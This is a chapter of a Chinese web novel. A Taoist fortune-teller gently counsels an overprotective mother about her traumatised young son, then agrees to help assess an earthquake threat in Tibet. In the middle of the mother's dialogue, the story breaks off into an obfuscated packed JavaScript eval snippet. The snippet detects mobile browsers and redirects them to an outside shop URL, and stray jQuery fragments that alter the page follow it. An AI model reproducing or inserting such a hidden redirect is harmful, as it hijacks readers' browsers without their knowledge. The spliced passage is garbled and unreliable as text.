距离福建回来，已经过去了一个多月。
青溪县的秋天走得慢，银杏叶从金黄变成枯黄，落了一层又一层，扫院子的老道长每天都要扫上小半天。山里的风开始带刀子了，割在脸上生疼，周南书把偏殿的门窗都换上了厚帘子，福崽的窝也从桌上挪到了桌下，塞了两件旧棉袄。
这一个多月，周南书没怎么接客。
不是没客人。香客还是那些香客，慕名而来的、回头再算的、求平安符的，每天都有几个。但她给自己定了规矩——每天最多接三个散客，算完就关门。
老道长没问她为什么，只是在她关门早的时候，多煮一碗面。
周南书知道原因。程远的事，让她觉得不得劲。不是愧疚，不是后悔，就是一种说不清道不明的闷。算对了，人死了，功德值加了，但那个父亲跪在殡仪馆里的哭声，她忘不了。
所以她不想见太多人。
每天三个，算完就关上门，撸猫、喝茶、发呆。福崽倒是很满意——主人待在家的时间变多了，它窝里的旧棉袄也越塞越厚。
---
何桂英来的时候，是个大晴天。
秋末的太阳暖洋洋的，照在道观的青瓦上，泛着一层淡淡的光。周南书正在院子里晒被子。福崽趴在被子旁边，把自己也晒得蓬松柔软。
“小周道长！”
何桂英的声音从山门那边传来。周南书转头，看见她提着一个大编织袋，另一只手牵着个男孩，正快步走过来。
男孩穿着深蓝色的棉袄，头发剪得短短的，露出额头上一道浅浅的疤。他跟在何桂英身边，低着头，另一只手攥着何桂英的衣角。
周南书放下被子，迎上去。
“何姐，来就来，带什么东西。”
“自家晒的红薯干，还有几罐辣酱。”何桂英笑着把袋子放下，然后蹲下来，轻轻推了推身边的男孩，“豆豆，叫姐姐。”
男孩没动。他低着头，眼睛盯着地面，嘴唇抿得紧紧的。攥着衣角的手指节泛白。
何桂英笑了笑：“他认生，熟了就好了。”
周南书蹲下来，和男孩平视。她注意到何桂英的手始终护在男孩身后，五指微张，像一只随时准备收拢的翅膀。
“豆豆，你吃过早饭了吗？”周南书声音很轻。
男孩没回答，睫毛颤了一下。
何桂英在旁边接话：“吃过了，早上我给他煮的面，吃了一大碗。”
周南书站起来：“进去坐吧。”
---
偏殿里，周南书倒了杯热水放在男孩面前。
何桂英坐在椅子上，男孩站在她腿边，还是攥着衣角。福崽从院子里跟进来，跳上桌，蹲在桌角，歪着头看男孩。
男孩的目光终于从地面移开了，落在福崽身上。
福崽甩了甩尾巴，打了个哈欠。然后站起来，在桌上走了两步，又趴下来，把脑袋枕在前爪上，眯着眼睛看男孩。
男孩的手松开了衣角。他往前迈了一小步，又缩回去。
福崽没动，只是尾巴尖轻轻晃了一下。
何桂英看着这一幕，眼眶有点红：“豆豆从小就喜欢猫。以前在那边……养过一只。”
那个“那边”说得很轻。
周南书没多问，转身从抽屉里拿出一张黄纸和一支圆珠笔。
“何姐，你说要来还愿，我给你写个平安符吧。”
何桂英连忙点头：“好好好，我就是这么想的。”
周南书在黄纸上写了“平安喜乐”四个字，折成三角形，用红绳扎好，递给何桂英：“放在他枕头底下就行。二十块。”
何桂英掏出五十块钱放在桌上，周南书找了三十。
这时候，男孩又往前迈了一步。这次他没缩回去。
他站在桌边，离福崽只有一臂的距离。福崽抬起头，看了他一眼，然后慢悠悠走到桌边，低头蹭了蹭男孩的手背。
男孩的手缩了一下，又伸出来，轻轻碰了碰福崽的背。手指在它背上停了一下，然后慢慢把手掌贴了上去。
福崽呼噜了一声。
男孩的嘴角弯了一下。
何桂英的眼泪掉了下来，赶紧抬手擦掉：“风大，眼睛进沙子了。”
周南书没拆穿她。
---
中午在道观吃饭。
老道长下厨，炒了两个素菜，煮了一锅白菜豆腐汤。
饭桌上，何桂英一边给豆豆夹菜，一边跟周南书聊天。她夹菜的频率很高，豆豆碗里的菜堆成了小山。豆豆低头吃，不说话，但吃到第四块豆腐的时候，他把头偏了偏，躲开了何桂英伸过来的筷子。
何桂英没注意到，又夹了一筷子青菜放进他碗里。
周南书看见了。
豆豆没再躲，低头继续吃，但嚼得慢了一些。
“这一个多月，我一直在跟他磨合。”何桂英说，“他认我，知道我是妈妈，但晚上不行。一到晚上就害怕，不肯一个人睡，我陪着也不行，他老是惊醒。”
周南书问：“看过医生吗？”
“看了，县医院的心理科，说是创伤后应激反应，让慢慢来。”
何桂英说着，又给豆豆夹了一筷子菜。豆豆的碗已经堆不下了，一片菜叶掉在桌上。何桂英赶紧捡起来，放在自己碗里。
老道长的筷子顿了一下，没说话。
周南书也没说话，低头吃饭。
---
吃完饭，何桂英帮着收拾了碗筷，然后说要走了。
“我租了个房子在镇上，离这儿不远。先不走了，让豆豆在这儿待一阵子。”
周南书点头：“有事随时来。”
何桂英牵着豆豆往门口走。豆豆走了几步，停下来，回过头看了看蹲在门口的福崽，伸出小手，朝福崽的方向招了招。
福崽没动，蹲在那里眯着眼睛。
豆豆等了几秒，把手缩回去，转身走了。
周南书站在门口，看着何桂英弯腰把豆豆的棉袄领口拢了拢，又蹲下来把他的鞋带重新系了一遍。鞋带本来就没松。
她系得很慢，很仔细，像是在做一件很重要的事。
周南书转身回了偏殿。
---
下午，何桂英又来了。这次她是一个人。
“小周道长，我想请你给豆豆看看运势。”她说，“我知道这事不能急，但我心里老是悬着，不踏实。”
周南书看了她一眼，从抽屉里拿出三枚铜钱：“你来摇。想着豆豆的事，心里默念就行。”
何桂英接过铜钱，深吸一口气，闭上眼睛，双手合掌把铜钱夹在掌心。她默念了很久，嘴唇不停翕动，眉头紧皱，像是在用力抓住什么。
周南书没催她。
大约过了两分钟，何桂英才松开手。铜钱落在桌上，叮叮当当响了几声。
一次。两次。三次。四次。五次。六次。
周南书看着卦象，手指在桌面上轻轻敲了两下。
“孩子的命格，根基是稳的。”她开口，“五行不缺，八字平和，不是什么大富大贵的命，但也不是多灾多难的命。普通人的命，有起有落，有坎有平，跟大多数人一样。”
何桂英认真听着。
“他这一生的走势，主要看一个东西——能不能回到安稳的轨道上。”周南书说，“他现在人回来了，但神还没完全回来。神回来了，路就顺了。神回不来，路就颠簸一些。”
她顿了顿，看着何桂英的眼睛。
“卦象上还有一个信息，不在孩子身上，在他身边的人身上。”
何桂英一愣：“什么意思？”
“卦象显示，这孩子身边有一股‘过紧’的气。”周南书说，“不是坏事，是太紧了。像包饺子，馅多了，皮就撑得慌。这股气如果一直这么紧，孩子会往两个方向走——要么缩，缩到不敢动；要么挣，挣到想跑。”
她没说得太直白，但何桂英的脸色变了一下。
“你是说我……”
“我没说你。”周南书打断她，“我说的是卦象显示的气场。这个气场是怎么来的，你自己清楚。”
何桂英沉默了。
周南书把铜钱收起来，换了个坐姿，语气从“解卦”变成了“闲聊”。
“何姐，你想想，豆豆现在最需要的是什么？”
何桂英想了想：“安全？稳定？”
“都对。”周南书说，“但他最需要的，是一个他自己能站稳的地方。不是你一直扶着他，是那个地方本身是稳的，他站在上面不会晃。”
“你现在的做法，是时时刻刻扶着他。他走到哪你跟到哪，他吃多少你夹多少，他鞋带松没松你都要蹲下来看。你觉得这是在保护他，但对他来说，他会觉得——是不是我自己站不稳？是不是没有我妈我就走不了路？”
何桂英的嘴唇动了一下，没说话。
“我不是说你不要管他。”周南书说，“他才五岁，当然要管。但你得让他知道，他自己能做决定。比如吃饭的时候，把菜放在桌上，让他自己夹。他不想吃了，就不吃了。饿一顿不会怎么样，但他会知道——我的身体是我自己的，我知道饱了没有。”
“晚上睡觉，他哭了你陪着，这没问题。但白天的时候，让他自己玩一会儿。你坐在旁边看着就行，不用一直跟他说话、一直帮他。让他自己试探这个世界。”
“他试探成功了，他就敢再试一次。试探失败了，他自己会想办法。你想让他坚强，就得给他坚强的机会。”
何桂英低着头，手指绞着衣角。
“我知道你是怕。”周南书的声音轻了一些，“你怕他再出事，你怕他又不见了，你怕你一松手他就没了。所以你攥得紧紧的，恨不得把他拴在身上。”
“但你攥得越紧，他就越不敢动。他不敢动，就永远学不会自己走路。他学不会自己走路，以后怎么办？你不可能跟他一辈子。”
何桂英的眼泪掉了下来。
她没擦，就让它流着。
“我……我就是怕。”她声音发抖，“我好不容易找到他，我不能再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509728|202948||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
失去他。”
“你不是在失去他。”周南书说，“你是在把他往外推。你不让他自己长大，他就会怨你。他怨你，就会想跑。他跑了，你才真的失去他了。”
何桂英抬起头，眼睛红肿。
“那我……我应该怎么做？”
周南书说：“把绳子松开一点。不是放开，是松一点。让他自己走几步，你在后面跟着。他摔了，你扶他起来。他走稳了，你就在旁边看着。他要回头，你就在那儿。”
“他需要知道两件事：第一，你永远在。第二，他可以自己走。”
何桂英沉默了很久。
她站起来，朝周南书鞠了一躬。
“谢谢你，小周道长。”她的声音还有点抖，但比刚才稳了，“我知道该怎么做了。”
她转身走了。
走到门口，她停下来，没回头。
“我不是个好妈妈。”她说，“以前不是，现在也不是。但我会学。”
周南书没接话。
何桂英走了。
---
傍晚，老道长在院子里收被子。
周南书坐在门口，福崽蹲在她脚边。
“你跟那个妈妈说的话，她听进去了吗？”老道长问。
“听进去多少，看她自己。”周南书说。
老道长点了点头，没再问。
方远的消息来得很突然。
周南书正坐在偏殿里喝茶，福崽趴在她腿上打盹。手机屏幕亮了，她拿起来看了一眼。
“小周道长，有个事想跟你聊聊。关于地质灾害预警方面的合作，你什么时候方便？我来青溪找你。”
周南书看了看时间，回了一条：“什么事？电话里说。”
方远没有打字，直接打了过来。
“小周道长，长话短说。”方远的声音比平时紧，“西藏那边，林芝往东，最近监测到一系列小震，频率在增加。藏东地区有一条断裂带，专家意见不一致——有人说只是正常能量释放，有人说可能有大震的前兆。我们拿不准。”
周南书没说话。
“光看数据和图纸，专家们吵了一个星期也没结论。”方远说，“我想来想去，这种事还是得当面跟你聊。有些东西，数据上看不出来，图纸上也看不出来，但你那套方法——也许能看出点什么。”
周南书沉默了几秒。
“你的意思，是要我去现场？”
方远顿了顿：“如果你愿意的话。我知道这个要求有点过分，毕竟你不是搞地质的，也不是我们系统内的人。但上次青龙湖的事，你的判断比我们所有专家都准。这次的情况比青龙湖复杂，影响范围也更大，我不敢光靠电话跟你说几句就做决定。”
周南书没急着回答。
她看了一眼桌上的地图——方远发来的资料她还没来得及细看，只扫了一眼断裂带的位置和震中分布。那些红点密密麻麻，像一张正在收紧的网。
“你把详细资料发给我，我先看看。”她说。
“好，马上发。”
方远挂了电话。不到五分钟，一个压缩包发了过来，里面有地震监测数据、断裂带分布图、卫星影像、地质调查报告，还有一份专家会商的初步意见。
周南书没有全看。她不是地质学家，那些波形图、应力曲线、断层剖面，她看不太懂。但她看懂了地图上的坐标和那些村庄的位置。
断裂带中段，东侧，雅鲁藏布江的拐弯处。那里有雪山，有峡谷，有沿河分布的村庄和乡镇。
她盯着那张地图看了很久。
然后她想起一件事。
不是这一世的。
是上一世。
上一世她看过一条新闻——某个地方的强震，发生在凌晨，大多数人还在睡梦中。房屋倒塌，道路中断，救援队进不去，外面的人只能等。死亡人数从几十变成几百，最后定格在一千多。
她记得那条新闻的细节。不是因为她是专业人士，而是因为那条新闻的评论区有人在争吵，有人在祈福，有人在骂为什么没有提前预警。
没有人回答。
后来她偶尔会想，如果当时有人提前知道了，能不能做点什么？
现在她知道了。
能不能做点什么，取决于她。
周南书拿起手机，给方远发了一条消息：
“资料我看了。电话里说不清楚，我跟你去一趟现场。”
方远秒回：“好。我安排车，明天一早出发。”
周南书放下手机，靠在椅背上。
福崽跳上桌，蹲在她面前，歪着头看她。
她伸手摸了摸福崽的头，没说话。
窗外，天色暗了下来。远处的山脊线上，最后一缕光正在消失。
明天会是晴天。
但后天，不一定了。
她心里那股“不得劲”的感觉，在这一刻忽然清晰了——不是闷，是预感。程远的事让她觉得无力，但这件事不一样。这件事她还有机会。
只要来得及。